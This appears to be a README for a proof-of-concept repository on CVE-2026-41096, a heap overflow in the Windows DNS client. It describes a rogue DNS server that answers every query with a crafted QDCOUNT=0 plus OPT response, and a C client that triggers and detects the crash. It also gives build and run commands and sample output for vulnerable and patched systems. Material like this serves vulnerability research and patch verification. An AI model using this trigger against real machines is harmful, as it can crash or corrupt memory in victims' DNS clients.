m0n1x90/cve-2026-41096CVE-2026-41096: Heap Overflow in the Windows DNS Client
Heap overflow in DnsRawTruncateMessageForUdp() (dnsapi.dll). A crafted DNS response with QDCOUNT=0 and a large OPT record causes a 604-byte heap overflow when the truncation logic miscalculates the destination pointer.
MSRC advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| File | Description |
|---|---|
rogue_dns_server.py | Rogue DNS server (Python 3). Replies to every query with a QDCOUNT=0 + OPT response (623 bytes). |
trigger_client.c | Trigger client (C/Win32). Calls DnsQueryRaw pointed at the rogue server. Catches the crash via SetUnhandledExceptionFilter. |
Attacker (rogue server):
Victim (trigger client):
DnsQueryRaw)dnsapi.dll1. Start the rogue server:
sudo python3 rogue_dns_server.py
2. Build and run the trigger client:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (Optional) Enable Page Heap for a deterministic crash:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| Code | Meaning |
|---|---|
| 0 | System is patched (DNS_ERROR_BAD_PACKET returned cleanly) |
| 1 | Error (DnsQueryRaw not found, network issue, etc.) |
| 2 | Crash detected (heap overflow confirmed) |
Vulnerable (Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Vulnerable (no Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Patched:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.